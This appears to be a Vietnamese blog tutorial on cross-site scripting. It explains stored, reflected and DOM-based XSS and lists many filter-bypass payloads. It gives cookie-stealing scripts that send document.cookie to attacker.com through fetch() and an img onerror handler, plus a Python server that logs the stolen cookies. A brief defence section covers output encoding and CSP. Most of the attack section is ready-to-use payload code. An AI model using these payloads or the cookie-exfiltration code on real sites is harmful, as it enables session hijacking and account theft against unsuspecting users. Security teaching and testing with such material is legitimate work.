XSS Attacks: Stored, Reflected và DOM-based — Phân tích thực chiến

Cross-Site Scripting (XSS) cho phép kẻ tấn công inject JavaScript độc hại vào trang web mà người dùng khác sẽ thực thi. Đây là lỗ hổng phổ biến nhất trong web hacking.

Ba loại XSS

Stored XSS — payload được lưu vào database, mỗi lần nạn nhân load trang là bị khai thác. Nguy hiểm nhất.

Reflected XSS — payload nằm trong URL, server reflect lại vào response. Cần social engineering để gửi link cho nạn nhân.

DOM-based XSS — payload không đi qua server, được xử lý hoàn toàn bởi JavaScript phía client.

Kỹ thuật bypass filter

# Basic payloads
<script>alert(1)</script>
<img src=x onerror=alert(1)>
<svg onload=alert(1)>

# Bypass lowercase filter
<ScRiPt>alert(1)</ScRiPt>
<IMG SRC=x OnErRoR=alert(1)>

# Bypass quote filter
<script>alert`1`</script>
<img src=x onerror=alert(document.domain)>

# Bypass <script> tag block
<body onload=alert(1)>
<input autofocus onfocus=alert(1)>
<select autofocus onfocus=alert(1)>

# Encoded payloads
&lt;script&gt;alert(1)&lt;/script&gt;
<script>alert(1)</script>

Khai thác: Cookie stealing

# Payload gửi cookie về server của attacker
<script>
  fetch('https://attacker.com/steal?c=' + document.cookie);
</script>

# Hoặc dùng img tag để bypass CSP
<img src="x" onerror="this.src='https://attacker.com/?c='+btoa(document.cookie)">

# Nhận cookie trên server attacker (Python)
from http.server import HTTPServer, BaseHTTPRequestHandler

class Handler(BaseHTTPRequestHandler):
    def do_GET(self):
        print("[+] Stolen cookie:", self.path)
        self.send_response(200)
        self.end_headers()

HTTPServer(('0.0.0.0', 8080), Handler).serve_forever()

DOM-based XSS — Source & Sink

# Các source phổ biến (nơi attacker control dữ liệu)
location.href
location.search
location.hash
document.referrer
window.name

# Các sink nguy hiểm (nơi dữ liệu được execute)
document.write()
innerHTML
eval()
setTimeout(string)
location.href = userInput

# Ví dụ vulnerable code
const search = location.search.slice(1);
document.getElementById('results').innerHTML = "Kết quả: " + search;
# Exploit: ?<img src=x onerror=alert(1)>

Phòng chống XSS

# Output encoding — LUÔN encode trước khi render
# JavaScript
element.textContent = userInput;  // safe
element.innerHTML = escapeHtml(userInput);  // nếu cần HTML

# PHP
echo htmlspecialchars($input, ENT_QUOTES, 'UTF-8');

# Content Security Policy header
Content-Security-Policy: default-src 'self'; script-src 'self' 'nonce-{random}'

Leave a Comment